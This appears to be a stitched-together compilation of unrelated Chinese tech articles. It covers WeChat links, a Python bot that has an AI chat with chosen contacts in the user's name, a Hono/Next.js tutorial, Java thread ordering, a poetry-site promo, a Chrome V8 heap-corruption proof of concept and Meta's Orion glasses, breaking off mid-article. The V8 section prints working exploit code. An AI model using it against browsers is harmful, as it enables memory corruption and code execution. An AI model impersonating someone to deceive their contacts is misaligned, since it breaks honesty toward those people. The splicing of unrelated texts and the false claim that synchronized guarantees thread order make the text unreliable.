一、微信内部点击链接

微信公众号主页链接：

https://mp.weixin.qq.com/mp/profile_ext?action=home&__biz=XXX#wechat_redirect

1.1 action

action 代表当前路径前端框架的哪个页面

• home：当前路径前端框架首页

1.2 __biz

__biz 代表微信公众号 ID

1.2.1 __biz 的获取方式

1. 在网页中打开该公众号的任意一篇推文 ➡️ 右击鼠标选择检查 ➡️ 在元素下搜素__biz
    

org:url 表示当前内容链接

2. 从公众平台进入公众号 ➡️ 公众号设置页，右键打开检查 ➡️ 搜索 uin_base64

二、微信外部点击链接

目前微信官方没有提供相应的功能，但是有的第三方平台可以实现，比如天天外链

但是需要注意，配置的网页地址不能是公众号首页或关注页，必须是永久公众号文章链接。

作者：南殇
来源：juejin.cn/post/7216518492613656636

一直幻想着能够成为一个海王，于是做了一个微信自动聊天的工具。

测试微信版本：wechat 3.9.12.17

采用技术：

• Bmob后端云（AI对话和存储需要自动聊天的人和prompt）


• uiautomation


• pyautogui

开发语言：

• python，conda环境下运行

最终的效果大家可以看B站：http://www.bilibili.com/video/BV1yK…

一、获取微信对话内容

这里采用了网上的一些开源项目进行修改，写了一个自己的WeChat控制类，采用的是uiautomation和pyautogui组件进行UI的控制，模拟人的操作。

WeChat控制类的内容比较多，为了方便阅读，这里只呈现一部分，有需要的朋友可以联系我获取。

class WeChat:

    def __init__(self, path, locale="zh-CN"):

        # 微信打开路径

        self.path = path



        # 用于复制内容到剪切板

        self.app = QApplication([])



        self.lc = WeChatLocale(locale)



    # 鼠标移动到控件上

    def move(self,element):

        x, y = element.GetPosition()

        auto.SetCursorPos(x, y)



    # 鼠标快速点击控件

    def click(self,element):

        x, y = element.GetPosition()

        auto.Click(x, y)



    # 鼠标右键点击控件

    def right_click(self,element):

        x, y = element.GetPosition()

        auto.RightClick(x, y)





    # 鼠标快速点击两下控件

    def double_click(self,element):

        x, y = element.GetPosition()

        auto.SetCursorPos(x, y)

        element.DoubleClick()





    # 打开微信客户端

    def open_wechat(self):

        subprocess.Popen(self.path)



    # 搜寻微信客户端控件

    def get_wechat(self):

        return auto.WindowControl(Depth=1, Name=self.lc.weixin)



    # 防止微信长时间挂机导致掉线

    def prevent_offline(self):

        self.open_wechat()

        self.get_wechat()



        search_box = auto.EditControl(Depth=8, Name=self.lc.search)

        self.click(search_box)



    # 搜索指定用户

    def get_contact(self, name):

        self.open_wechat()

        self.get_wechat()



        search_box = auto.EditControl(Depth=8, Name=self.lc.search)

        self.click(search_box)



        pyperclip.copy(name)

        auto.SendKeys("{Ctrl}v")



        # 等待客户端搜索联系人

        time.sleep(0.3)

        search_box.SendKeys("{enter}")



    # 鼠标移动到发送按钮处点击发送消息

    def press_enter(self):

        # 获取发送按钮

        send_button = auto.ButtonControl(Depth=15, Name=self.lc.send)

        self.click(send_button)

        

    # 检测微信发新消息的用户

    def check_new_user(self):

        self.open_wechat()

        self.get_wechat()



        users = []



        # 获取左侧聊天按钮

        chat_btn = auto.ButtonControl(Name=self.lc.chats)

        self.double_click(chat_btn)



        # 持续点击聊天按钮，直到获取完全部新消息

        item = auto.ListItemControl(Depth=10)

        prev_name = item.ButtonControl().Name

        while True:

            # 判断该联系人是否有新消息

            pane_control = item.PaneControl()

            if len(pane_control.GetChildren()) == 3:

                users.append(item.ButtonControl().Name)



            self.click(item)



            # 跳转到下一个新消息

            self.double_click(chat_btn)

            item = auto.ListItemControl(Depth=10)



            # 已经完成遍历，退出循环

            if prev_name == item.ButtonControl().Name:

                break



            prev_name = item.ButtonControl().Name



        return users

二、获取需要自动聊天的人和对应的prompt

这部分信息我存储在Bmob后端云上面，对应的表结构（表名为：autochat，创建的字段为：name、prompt）和测试的内容如下：

获取信息的时候，我采用了子线程的方式，每隔300秒获取一次新的需要自动对话的微信和对应的prompt，代码如下：

# Bmob对象

bmob = Bmob(config['bmob_appid'], config['bmob_secret'])



# 存储从Bmob后端云获取到的自动对话的微信名和对应的prompt

name_prompts = {}



# 从Bmob后端云获取自动聊天的微信名和prompt

def get_user_prompt():

    users = bmob.findObjects('autochat')

    name_prompts.clear()

    for user in users:

        name_prompts[user.name] = user.prompt



# 每隔5分钟获取一次要自动聊天微信名称和对应的prompt

def run_with_interval():

    while True:

        get_user_prompt()

        time.sleep(300)



if __name__ == "__main__":

    t = threading.Thread(target=run_with_interval)

    t.start()

三、组装对话上下文和自动对话

这里主要用到了WeChat类的获取新对话人名字、获取某个人历史聊天记录的方法，和Bmob后端云的AI功能，具体代码如下：

# 执行自动聊天功能

def main():

    wechat = WeChat(path=config['wechat_path'])

    # 创建一个锁

    lock = threading.Lock()



    while True:

        try:

            comtypes.CoInitialize()

            # 确保微信操作的线程安全

            with lock:

                wechat.click(auto.ButtonControl(Name=wechat.lc.facorites))

                users = wechat.check_new_user()

                if len(users) <= 0:

                    time.sleep(5)

                    print("暂时没有新消息")

                    continue



                for user in users:

                    if user not in name_prompts.keys():

                        time.sleep(5)

                        print(f"{user}不在需要自动问答的名单上")

                        continue

                    else:

                        # 获取聊天记录，30这个数字可以调整，越大的话，AI会越了解你，但消耗的token也越多

                        msgList = wechat.get_dialogs(user, 30)

                        if len(msgList) <= 0:

                            continue

                        

                        # 组装上下文对话记录

                        ai = []

                        ai.append({"content": name_prompts[user], "role": "system"})

                        for msg in msgList:

                            chatmsg = msg[2].replace('[动画表情]','')

                            if chatmsg=='':

                                continue



                            if msg[1] == user:

                                ai.append({"content": chatmsg, "role": "user"})

                            else:

                                ai.append({"content": chatmsg, "role": "assistant"})



                        bmob.connectAI()

                        to = bmob.chat2(ai)

                        bmob.closeAI()

                        print('ai:'+to)



                        if to != "":

                            wechat.send_msg(user, to)

        except Exception as e:

            print(e)

import { Hono } from 'hono'

import { handle } from 'hono/vercel'



const app = new Hono().basePath('/api')



app.get('/hello', (c) => {

  return c.json({

    message: 'Hello Next.js!',

  })

})



export const GET = handle(app)

export const POST = handle(app)

export const PUT = handle(app)

export const DELETE = handle(app)

import { z } from 'zod'

import { zValidator } from '@hono/zod-validator'

import { Hono } from 'hono'



const paramSchema = z.object({

  id: z.string().cuid(),

})



const jsonSchema = z.object({

  status: z.boolean(),

})



const app = new Hono().put(

  '/users/:id',

  zValidator('param', paramSchema),

  zValidator('json', jsonSchema),

  (c) => {

    const { id } = c.req.valid('param')

    const { status } = c.req.valid('json')



    // 逻辑代码...



    return c.json({})

  },

)



export default app

   if (!result.success) {

-    return c.json(result, 400)

   }



   if (!result.success) {

+    throw result.error

   }

import { z } from 'zod'

import type { Context } from 'hono'

import { HTTPException } from 'hono/http-exception'



export function handleError(err: Error, c: Context): Response {

  if (err instanceof z.ZodError) {

    const firstError = err.errors[0]



    return c.json(

      { code: 422, message: `\`${firstError.path}\`: ${firstError.message}` },

      422,

    )

  }



  // handle other error, e.g. ApiError



  return c.json(

    {

      code: 500,

      message: '出了点问题, 请稍后再试。',

    },

    { status: 500 },

  )

}

3. 在 server/api/index.ts ，也就是 hono app 对象中绑定错误捕获。

const app = new Hono().basePath('/api')



app.onError(handleError)

4. 更改 zValidator 导入路径。

- import { zValidator } from '@hono/zod-validator'



+ import { zValidator } from '@/server/api/validator'

这样就将错误统一处理，且后续自定义业务错误也同样如此。

:::note 顺带一提

如果需要让 zod 支持中文错误提示，可以使用 zod-i18n-map

:::

RPC

Hono 有个特性我很喜欢也很好用，可以像 TRPC 那样，导出一个 client 供前端直接调用，省去编写前端 api 调用代码以及对应的类型。

这里我不想在过多叙述 RPC(可见我之前所写有关 TRPC 的使用)，直接来说说有哪些注意点。

链式调用

还是以 User CRUD 的代码为例，不难发现 .get .post .put 都是以链式调用的写法来写的，一旦拆分后，此时接口还是能够调用，但这将会丢失此时路由对应的类型，导致 client 无法使用获取正常类型，使用链式调用的 app 实例化对象则正常。

替换原生 Fetch 库

hono 自带的 fetch 或者说原生的 fetch 非常难用，为了针对业务错误统一处理，因此需要选用请求库来替换，这里我的选择是 ky，因为他的写法相对原生 fetch 更友好一些，并且不会破坏 hono 原有类型推导。

在 lib/api-client.ts 编写以下代码

import { AppType } from '@/server/api'

import { hc } from 'hono/client'

import ky from 'ky'



const baseUrl =

  process.env.NODE_ENV === 'development'

    ? 'http://localhost:3000'

    : process.env.NEXT_PUBLIC_APP_URL!



export const fetch = ky.extend({

  hooks: {

    afterResponse: [

      async (_, __, response: Response) => {

        if (response.ok) {

          return response

        } else {

          throw await response.json()

        }

      },

    ],

  },

})



export const client = hc<AppType>(baseUrl, {

  fetch: fetch,

})

这里我是根据请求状态码来判断本次请求是否为异常，因此使用 response.ok，而响应体正好有 message 字段可直接用作 Error message 提示，这样就完成了前端请求异常处理。

至于说请求前自动添加协议头、请求后的数据转换，这就属于老生常谈的东西了，这里就不多赘述，根据实际需求编写即可。

请求体与响应体的类型推导

配合 react-query 可以更好的获取类型安全。此写法与 tRPC 十分相似，相应代码 → Inferring Types

// hooks/users/use-user-create.ts



import { client } from '@/lib/api-client'

import { InferRequestType, InferResponseType } from 'hono/client'

import { useMutation } from '@tanstack/react-query'

import { toast } from 'sonner'

const $post = client.api.users.$post



type BodyType = InferRequestType<typeof $post>['json']



type ResponseType = InferResponseType<typeof $post>['data']



export const useUserCreate = () => {

  return useMutation<ResponseType, Error, BodyType>({

    mutationKey: ['create-user'],

    mutationFn: async (json) => {

      const { data } = await (await $post({ json })).json()



      return data

    },

    onSuccess: (data) => {

      toast.success('User created successfully')

    },

    onError: (error) => {

      toast.error(error.message)

    },

  })

}

在 app/users/page.tsx 中的使用

'use client'



import { useUserCreate } from '@/features/users/use-user-create'



export default function UsersPage() {

  const { mutate, isPending } = useUserCreate()



  const handleSubmit = (e: React.FormEvent) => {

    e.preventDefault()

    const formData = new FormData(e.currentTarget)

    const name = formData.get('name') as string

    const email = formData.get('email') as string

    mutate({ name, email })

  }



  return (

    <form onSubmit={handleSubmit}>

      <div>

        <label htmlFor='name'>Name:label>

        <input type='text' id='name' name='name' />

      div>

      <div>

        <label htmlFor='email'>Email:label>

        <input type='email' id='email' name='email' />

      div>

      <button type='submit' disabled={isPending}>

        Create User

      button>

    form>

  )

}

OpenAPI 文档

这部分我已经弃坑了，没找到一个很好的方式为 Hono 写 OpenAPI 文档。不过对于 TS 全栈开发者，似乎也没必要编写 API 文档（接口自给自足），更何况还有 RPC 这样的黑科技，不担心接口的请求参数与响应接口。

如果你真要写，那我说说几个我遇到的坑，也是我弃坑的原因。

首先就是写法上，你需要将所有的 Hono 替换成 OpenAPIHono (来自 @hono/zod-openapi， 其中 zod 实例 z 也是)。以下是官方的示例代码，我将其整合到一个文件内

import { createRoute, OpenAPIHono, z } from '@hono/zod-openapi'

import { swaggerUI } from '@hono/swagger-ui'



const app = new OpenAPIHono()



const ParamsSchema = z.object({

  id: z

    .string()

    .min(3)

    .openapi({

      param: {

        name: 'id',

        in: 'path',

      },

      example: '123',

    }),

})



const UserSchema = z

  .object({

    id: z.string().openapi({ example: '123' }),

    name: z.string().openapi({ example: 'John Doe' }),

  })

  .openapi('User')



const route = createRoute({

  method: 'get',

  path: '/api/users/{id}',

  request: {

    params: ParamsSchema,

  },

  responses: {

    200: {

      content: {

        'application/json': {

          schema: UserSchema,

        },

      },

      description: 'Retrieve the user',

    },

  },

})



app.openapi(route, async (c) => {

  const { id } = c.req.valid('param')



  // 逻辑代码...

  const user = {

    id,

    name: 'Ultra-man',

  }



  return c.json(user)

})

从上述代码的可读性来看，第一眼你很难看到清晰的看出这个接口到底是什么请求方法、请求路径，并且在写法上需要使用 .openapi 方法，传入一个由 createRoute 所创建的 router 对象。并且写法上不是在原有基础上扩展，已有的代码想要通过代码优先的方式来编写 OpenAPI 文档将要花费不小的工程，这也是我为何不推荐的原因。

定义完接口(路由)之后，只需要通过 app.doc 方法与 swaggerUI 函数，访问 /api/doc 查看 OpenAPI 的 JSON 数据，以及访问 /api/ui 查看 Swagger 界面。

import { swaggerUI } from '@hono/swagger-ui'



app.doc('/api/doc', {

  openapi: '3.0.0',

  info: {

    version: '1.0.0',

    title: 'Demo API',

  },

})



app.get('/api/ui', swaggerUI({ url: '/api/doc' }))

从目前来看，OpenAPI 文档的生成仍面临挑战。我们期待 Hono 未来能推出一个功能，可以根据 app 下的路由自动生成接口文档（相关Issue已存在）。

仓库地址

附上本文中示例 demo 仓库链接（这个项目就不搞线上访问了）

github.com/kuizuo/next…

后记

其实我还想写写 Auth、DB 这些服务集成的(这些都在我实际工作中实践并应用了)，或许是太久未写 Blog 导致手生了不少，这篇文章也是断断续续写了好几天。后续我将会出一版完整的我个人的 Nextjs 与 Hono 的最佳实践模版。

也说说我为什么会选用 Hono.js 作为后端服务, 其实就是 Next.js 的 API Route 实在是太难用了，加之轻量化，你完全可以将整个 Nextjs + Hono 服务部署在 Vercel 上，并且还能用上 Edge Functions 的特性。(就是有点小贵)

但不过从我的 Nest.js 开发经验来看（也可能是习惯了 Spring Boot 那套三层架构开发形态），总觉得 Hono 差了点意思，说不出来的体验，可能这就是所谓的全栈框架的开发感受吧。

你好，我是猿java。

线程是 Java执行的最小单元，通常意义上来说，多个线程是为了加快速度且无需保序，这篇文章，我们来分析一道农业银行的面试题目：如要保证线程T1, T2, T3顺序执行？

考察意图

在面试中出现这道问题，通常是为了考察候选人的以下几个知识点：

1. 多线程基础知识： 希望了解候选人是否熟悉Java多线程的基本概念，包括线程的创建、启动和同步机制。

2. 同步机制的理解：候选人需要展示对Java中各种同步工具的理解，如join()、CountDownLatch、Semaphore、CyclicBarrier等，并知道如何在不同场景下应用这些工具。

3. 线程间通信：希望候选人理解线程间通信的基本原理，例如如何使用wait()和notify()来协调线程。

4. 对Java并发包的熟悉程度： 希望候选人了解Java并发包（java.util.concurrent）中的工具和类，展示其对现代Java并发编程的掌握。

保证线程顺序执行的方法

在分析完面试题的考察意图之后，我们再分析如何保证线程顺序执行，这里列举了几种常见的方式。

join()

join()方法是Thread类的一部分，可以让一个线程等待另一个线程完成执行。 当你在一个线程T上调用T.join()时，调用线程将进入等待状态，直到线程T完成（即终止）。因此，可以通过在每个线程启动后调用join()来实现顺序执行。

如下示例代码，展示了join()如何保证线程顺序执行：

Thread t1 = new Thread(() -> {

   // 线程T1的任务

});



Thread t2 = new Thread(() -> {

   // 线程T2的任务

});



Thread t3 = new Thread(() -> {

   // 线程T3的任务

});



t1.start();

t1.join(); // 等待t1完成



t2.start();

t2.join(); // 等待t2完成



t3.start();

t3.join(); // 等待t3完成

CountDownLatch

CountDownLatch通过一个计数器来实现，初始时，计数器的值由构造函数设置，每次调用countDown()方法，计数器的值减1。当计数器的值变为零时，所有等待在await()方法上的线程都将被唤醒，继续执行。

CountDownLatch是Java并发包（java.util.concurrent）中的一个同步辅助类，用于协调多个线程之间的执行顺序。它允许一个或多个线程等待另外一组线程完成操作。

如下示例代码，展示了CountDownLatch如何保证线程顺序执行：

CountDownLatch latch1 = new CountDownLatch(1);

CountDownLatch latch2 = new CountDownLatch(1);



Thread t1 = new Thread(() -> {

   // 线程T1的任务

   latch1.countDown(); // 完成后递减latch1

});



Thread t2 = new Thread(() -> {

   try {

       latch1.await(); // 等待T1完成

       // 线程T2的任务

       latch2.countDown(); // 完成后递减latch2

   } catch (InterruptedException e) {

       Thread.currentThread().interrupt();

   }

});



Thread t3 = new Thread(() -> {

   try {

       latch2.await(); // 等待T2完成

       // 线程T3的任务

   } catch (InterruptedException e) {

       Thread.currentThread().interrupt();

   }

});



t1.start();

t2.start();

t3.start();

CountDownLatch关键方法解析：

• CountDownLatch(int count) : 构造函数，创建一个CountDownLatch实例，计数器的初始值为count。


• void await() : 使当前线程等待，直到计数器的值变为零。


• boolean await(long timeout, TimeUnit unit) : 使当前线程等待，直到计数器的值变为零或等待时间超过指定的时间。


• void countDown() : 递减计数器的值。当计数器的值变为零时，所有等待的线程被唤醒。

Semaphore

Semaphore通过一个计数器来管理许可，计数器的初始值由构造函数指定，表示可用许可的数量。线程可以通过调用acquire()方法请求许可，如果许可可用则授予访问权限，否则线程将阻塞。使用完资源后，线程调用release()方法释放许可，从而允许其他阻塞的线程获取许可。

如下示例代码，展示了Semaphore如何保证线程顺序执行：

Semaphore semaphore1 = new Semaphore(0);

Semaphore semaphore2 = new Semaphore(0);



Thread t1 = new Thread(() -> {

   // 线程T1的任务

   semaphore1.release(); // 释放一个许可

});



Thread t2 = new Thread(() -> {

   try {

       semaphore1.acquire(); // 获取许可，等待T1完成

       // 线程T2的任务

       semaphore2.release(); // 释放一个许可

   } catch (InterruptedException e) {

       Thread.currentThread().interrupt();

   }

});



Thread t3 = new Thread(() -> {

   try {

       semaphore2.acquire(); // 获取许可，等待T2完成

       // 线程T3的任务

   } catch (InterruptedException e) {

       Thread.currentThread().interrupt();

   }

});



t1.start();

t2.start();

t3.start();

Semaphore关键方法分析：

• Semaphore(int permits) ：构造一个具有给定许可数的Semaphore。


• Semaphore(int permits, boolean fair) ：构造一个具有给定许可数的Semaphore，并指定是否是公平的。公平性指的是线程获取许可的顺序是否是先到先得。


• void acquire() ：获取一个许可，如果没有可用许可，则阻塞直到有许可可用。


• void acquire(int permits) ：获取指定数量的许可。


• void release() ：释放一个许可。


• void release(int permits) ：释放指定数量的许可。


• int availablePermits() ：返回当前可用的许可数量。


• boolean tryAcquire() ：尝试获取一个许可，立即返回true或false。


• boolean tryAcquire(long timeout, TimeUnit unit) ：在给定的时间内尝试获取一个许可。

单线程池

单线程池（Executors.newSingleThreadExecutor()）可以确保任务按提交顺序依次执行。所有任务都会在同一个线程中运行，保证了顺序性。

如下示例代码展示了单线程池如何保证线程顺序执行：

ExecutorService executor = Executors.newSingleThreadExecutor();

executor.submit(new T1());

executor.submit(new T2());

executor.submit(new T3());

executor.shutdown();

单线程这种方法简单易用，适合需要顺序执行的场景。

synchronized

synchronized 是Java中的一个关键字，用于实现线程同步，确保多个线程对共享资源的访问是互斥的。它通过锁机制来保证同一时刻只有一个线程可以执行被Synchronized保护的代码块，从而避免数据不一致和线程安全问题。

如下示例代码，展示了synchronized如何保证线程顺序执行：

class Task {

    synchronized void executeTask(String taskName) {

        System.out.println(taskName + " 执行");

    }

}



public class Main {

    public static void main(String[] args) {

        Task task = new Task();

        new Thread(() -> task.executeTask("T1")).start();

        new Thread(() -> task.executeTask("T2")).start();

        new Thread(() -> task.executeTask("T3")).start();

    }

}

总结

本文，我们分析了5种保证线程T1，T2，T3顺序执行的方法，依次如下：

在实际开发中，这种需要在业务代码中去保证线程执行顺序的情况几乎不会出现，因此，这个面试题其实缺乏实际的应用场景，纯粹是为了面试存在。尽管是面试题，还是可以帮助我们更好地去了解和掌握线程。

大家好，我是 Java陈序员。

之前，给大家推荐过一个古诗文起名工具，利用古诗文进行起名。

一个古诗文起名工具

今天，给大家介绍一个现代化诗词学习网站，完美适用于自身、孩子学习背诵古诗词！

关注微信公众号：【Java陈序员】，获取开源项目分享、AI副业分享、超200本经典计算机电子书籍等。

项目介绍

aspoem —— 现代化诗词学习网站，一个更加注重UI和阅读体验的诗词网站。收集了丰富的诗词资源，用户可以通过作者、诗词、名句快速查找诗词。

功能特色：

• 提供丰富的中国古典诗词资源


• 提供诗词欣赏与学习、拼音标注、注释和白话文翻译


• 提供全站搜索、诗人及词牌名索引以及标签系统方便查找相关主题诗词


• 界面友好，便于用户使用，支持暗黑模式和多种主题


• 注重移动端的适配，支持 PC 和手机端访问

技术栈：

• React


• Next


• Tailwind CSS


• PostgreSQL

项目体验

诗词

丰富的诗词：aspoem 目前已经收集了 6000+ 首诗词。

诗词鉴赏：提供拼音标注、注释和白话文等的展示方式，使诗词更加易于阅读。

摘抄卡片：提供高清大图，支持免费下载。

诗人

海量的诗人：aspoem 目前汇总了 700+ 个诗人、词人。

诗人介绍：提供诗人介绍，以及创作的诗词，方便有针对性的学习。

词牌名&标签&片段

词牌名：收集了多种多样的词牌名，并汇总对应的诗词。

标签：按照近体诗、书籍、诗经、节日、情感等分类进行打标签，方便检索查询。

片段：摘抄经典的名片诗句、词句。

其他功能

检索查询：查找诗人、诗词、名句。

暗黑模式

多种主题

适配移动端

本地运行

前期准备

1、下载代码

git clone https://github.com/meetqy/aspoem.git

2、复制一份 .env.example 并重命名为 .env

aspoem 提供了是否集成 PostgreSQL 两种版本，可自行挑选。

集成 PostgreSQL

1、修改配置文件 .env 中的 PostgreSQL 连接信息

# 后台操作需要的 Token，  http://localhost:3000/create?token=v0

TOKEN="v0"



# 本地

POSTGRES_PRISMA_URL="postgresql://meetqy@localhost:5432/aspoem"

POSTGRES_URL_NON_POOLING="postgresql://meetqy@localhost:5432/aspoem"



# 统计相关 没有可不填 不会加载对应的代码

# google analytics id

NEXT_PUBLIC_GA_ID="G-PYEC5EG749"



# microsoft-clarity-id

NEXT_PUBLIC_MC_ID="ksel7bmi48"

2、安装依赖

pnpm install

3、启动项目

pnpm run dev

4、浏览器访问 http://localhost:3000

不集成 PostgreSQL

1、修改 .env

POSTGRES_PRISMA_URL="postgresql://meetqy@localhost:5432/aspoem"

POSTGRES_URL_NON_POOLING="postgresql://meetqy@localhost:5432/aspoem"

改为

POSTGRES_PRISMA_URL="file:./db.sqlite"

POSTGRES_URL_NON_POOLING="file:./db.sqlite"

2、修改 prisma/schema.prisma 中的

datasource db {

    provider  = "postgresql"

    url       = env("POSTGRES_PRISMA_URL")

    directUrl = env("POSTGRES_URL_NON_POOLING")

}

改为

datasource db {

    provider  = "sqlite"

    url       = env("POSTGRES_PRISMA_URL")

    directUrl = env("POSTGRES_URL_NON_POOLING")

}

3、将 prisma/sample.sqlite 改为 db.sqlite

4、安装依赖并启动，推荐使用 pnpm

pnpm i

pnpm db:push

pnpm dev

Docker 部署

aspoem 项目提供 Dockerfile 和 docker-compose.yml 文件。Dockfile 用于构建 aspoem 服务镜像，docker-compose.yml 用于启动 aspoem 和一个 PostgresSQl.

执行以下命令，一键启动项目：

cd aspoem

docker compose up

aspoem 一个致力于分享诗词的平台，为用户提供了一个良好的诗词阅读体验！对于喜欢中国诗词的朋友们来说，真的是一个宝藏。它不仅资源丰富，而且界面简洁，使用起来非常友好。大家快去体验吧~

项目地址：https://github.com/meetqy/aspoem

最后

推荐的开源项目已经收录到 GitHub 项目，欢迎 Star：

https://github.com/chenyl8848/great-open-source-project

或者访问网站，进行在线浏览：

https://chencoding.top:8090/#/

大家的点赞、收藏和评论都是对作者的支持，如文章对你有帮助还请点赞转发支持下，谢谢！

近期，Chrome 又爆出了一个惊天漏洞，其内部的 JavaScript 引擎 V8 存在不恰当的实现让远程攻击者可以通过精心设计的 HTML 页面对堆损坏进行潜在的攻击。

前置知识

V8 引擎是 Google 开发的开源 JavaScript 引擎，最初是为 Chrome 浏览器设计的，现在也被 Node.js 和许多其他项目广泛使用。值得注意的是，从 2020 年开始，Edge 浏览器转而使用了 Chromium 项目，这意味着现在的 Microsoft Edge 浏览器确实使用 V8 引擎来执行 JavaScript 代码，与 Google Chrome 浏览器相同。

堆损坏（Heap Corruption）是一种常见的内存错误，发生在程序错误地操作堆内存时。堆是动态内存分配的区域，程序在运行时可以从堆中分配或释放内存。如果程序不正确地处理这些操作，就可能导致堆损坏。攻击者可能利用堆损坏来执行任意代码，这是许多安全攻击的基础。

漏洞信息

该漏洞已经在新版本的 Chrome 和 Edge 修复，可以更新至最新版本预防该威胁。

漏洞分析

以下是为 ARM64 设备设计的漏洞利用原型，用于触发该漏洞：

var arrx = new Array(150);

arrx[0] = 1.1;

var fake = new Uint32Array(10);

fake[0]= 1;

fake[1] =3;

fake[2]=2;

fake[3] = 4;

fake[4] = 5;

fake[5] = 6;

fake[6] = 7;

fake[7] = 8;

fake[8] = 9;

var tahir = 0x1;

function poc(a) {

  var oob_array = new Array(5);

  oob_array[0] = 0x500;

  let just_a_variable = fake[0];

  let another_variable3 = fake[7];

  if(a % 7 == 0)

    another_variable3 = 0xff00000000; //spray high bytes

  another_variable3 = Math.max(another_variable3,tahir);

  another_variable3 = another_variable3 >>> 0;

  var index = fake[3];

  var for_phi_modes = fake[6];

  let c = fake[1];

  //giant loop for generate cyclic graph

  for(var i =0;i<10;i++) {

    if( a % 3 == 0){

      just_a_variable = c;

    }

    if( a % 37 == 0) {

      just_a_variable = fake[2];

    }

    if( a % 11 == 0){

      just_a_variable = fake[8];

    }

    if( a % 17 == 0){

      just_a_variable = fake[5];

    }

    if( a % 19 == 0){

      just_a_variable = fake[4];

    }

    if( a % 7 == 0 && i>=5){

      for_phi_modes = just_a_variable;

      just_a_variable = another_variable3;

    }

    if(i>=6){

      for(let j=0;j<5;j++){

        if(a % 5 == 0) {

          index = for_phi_modes;

          oob_array[index] = 0x500; //zero extends before getting value

        }

      }

    }

    for_phi_modes = c;

    c = just_a_variable;

  }

  //zero extend

  return [index,BigInt(just_a_variable)];

}

for(let i = 2; i<0x500;i++) {

  poc(i); //compile using turbofan

}

poc(7*5);

通过复杂的数组操作和循环逻辑，企图达到越界访问或者修改内存的目的，从而可能实现任意代码执行。脚本的核心部分是利用 TurboFan 编译器优化的特性，通过特定的数据操作来破坏内存结构。

代码分析

首先代码对如下几个变量进行了初始化，分别为：

• arrx 是一个长度为 150 的数组，初始化第一个元素为 1.1。


• fake 是一个长度为 10 的 Uint32Array，用于存储一系列整数。


• tahir 是一个十六进制的整数值 0x1。

然后就是函数部分，包含了复杂的逻辑和条件判断，主要用于操作和修改 oob_array 和 fake 数组的元素。主要有以下几点信息：

• oob_array 是一个长度为 5 的数组，用于存储操作结果。


• 函数内部使用了多个局部变量来从 fake 数组中读取数据，并根据输入参数 a 的不同值改变这些数据。


• 特别是在 a % 5 == 0 的条件下，代码尝试访问 oob_array[index]，其中 index 是从 fake 数组中获取的。这可能导致越界访问，因为 index 的值可能超出 oob_array 的索引范围。

最后就是通过多次调用 poc 函数，并且特意让 TurboFan 编译器优化这些循环调用。在一些优化过程中，编译器可能未能处理好边界条件，导致安全问题。

关键点

• TurboFan 编译器优化：TurboFan 是 V8 引擎中的优化编译器，通过频繁调用 poc 函数，脚本试图诱导 TurboFan 生成的代码在边界检查上产生漏洞，从而实现越界访问或写入。


• 内存破坏：通过复杂的条件控制流，脚本试图创建出一种可以操纵内存指针的情况（如 index 和 for_phi_modes），从而进行越界写入，可能导致内存破坏，进一步用于任意代码执行。


• 条件分支与循环：脚本中多次使用复杂的条件判断和循环逻辑来混淆内存操作，可能意在规避一些简单的防护机制，并诱导编译器优化过程中出现漏洞。

【新智元导读】就在刚刚，小扎携掉最强 AR 眼镜 Orion 登场！Meta 首款 AR 眼镜，苦研十年后，终于诞生了，成本高达 10000 美元。果然，小扎让我们离元宇宙又近了一步。这会是一次全新的范式转变吗？

Meta 首款 AR 眼镜，终于亮相了！

酝酿十年，烧钱数十亿，作为小扎元宇宙宏图大业的一部分，我们今日终于得见 Meta AR 眼镜的真容。

这款名为 Orion 的产品，由带 MicroLED 投影的眼镜、人机交互的腕带、提供计算能力的小盒子组成。

轻快的外观，领先行业的 AR 体验，Meta 再为业内做出开创性的壮举。虚拟现实世界的入口，元宇宙的雏形，或许就是这般样子。

有趣的是，因为制作成本高达 10000 美元，这款眼镜本次仅做展示之用，是产品原型，并不会正式发售。

英伟达老黄已经试戴上了

每个计算平台，都会带来我们与设备交互方式的范式转变。上一次是鼠标、智能手机，这一次，会是 AR 眼镜吗？

此外，在 Meta Connect 2024 发布会上，其他重要产品也悉数亮相——

Meta Quest 3S 头显眼镜发布；Meta Ray-Ban 眼镜上线新功能；Meta 首个拥有多模态能力的开源大模型 Llama 3.2 亮相。

AR 眼镜：元宇宙入口的新范式？

地表最强 AR 眼镜，终于诞生了！

在昨晚的发布会上，小扎激动地向全世界展示了这款地表最强 AR 眼镜。

研发过程，经历了整整十年。目标很简单，但技术挑战却极其艰巨。

目标有多简单，无非是要满足是眼镜而非头戴设备、无线、重量不超过 100g、宽广视野、全息显示、清晰度够高、能捕捉到细节、亮度足、在不同光线下都能看清、显示面积够大、足以呈现电影银幕或多个工作用显示器、能透过它看到外界这些要求罢了。

研发工程师们呕心沥血了整整十年，终于做出了 Orion。

注意，这不是透视效果，这是物理世界上面叠加了全息图

如果收到消息，你不必掏出手机，只要在全息图中做出几个手势，就可以回复了。

远方的人，可以以全息图的形式瞬间传送到你身边。

敲敲手指，你就可以玩纸牌、象棋、全息乒乓球了。

小扎表示，Orion 会给未来的元宇宙世界提供更多入口。

可以说，它包含着 AI 空间计算终极形态的野心。

比起苹果过于笨重的 Vision Pro，Orion 的确有了未来空间计算 AI 设备的雏形。

此次发布的 Orion，具有宽视野显示器，内置无线 AI，是 Meta 十年来一直致力实现的事。

显示器

在 Orion 中，Meta 选择了微型 LED 显示器。

可以说，这款 AR 眼镜的最大挑战，就是显示器。

由于需要以不符合原理的方式弯曲光束，团队需要建造一个全新的显示架构。

它可以让眼镜框架中的微型投影仪将光线射入波导，将纳米级 3D 结构打印到透镜中，使光线发生折射，从而在我们的环境中显示不同深度和尺寸的全息图。

为此，团队没有使用玻璃光学器件，而是使用了碳化硅的新材料。

后者很轻，不会产生奇怪的光学伪影或 C stray 散光，且具有非常高的折射率，这，就是实现大视野和有效利用光子的关键。

散热

另一个挑战就是散热。我们不可能把风扇塞进一副眼镜里，怎么办呢？

唯一消除热量的方式，就是将其辐射出去。

团队做了两件事。首先，框架由散热材料镁制成。其次，Orion 中的许多定制组件也是用镁材料设计。

而且团队构建了数十个定制硅芯片，不仅节能，还能针对 AI 机器感知和图形算法进行优化。

这样，Orion 就可以采用手眼跟踪以及 slam 算法，大大降低了算法所需的功耗。

外形

Orion 的尺寸为一英尺，具有光学对准功能，精度达到了人类头发丝厚度的 1/10。

它有七个微型摄像头和传感器，尺寸很小，因而可以嵌入镜框边缘。

Meta 表示，在目前最小的眼镜外形中，他们实现了可用的最大视野。

这使得数字内容能与我们所看到的世界融为一体。

全新互动模式：肌电图腕带

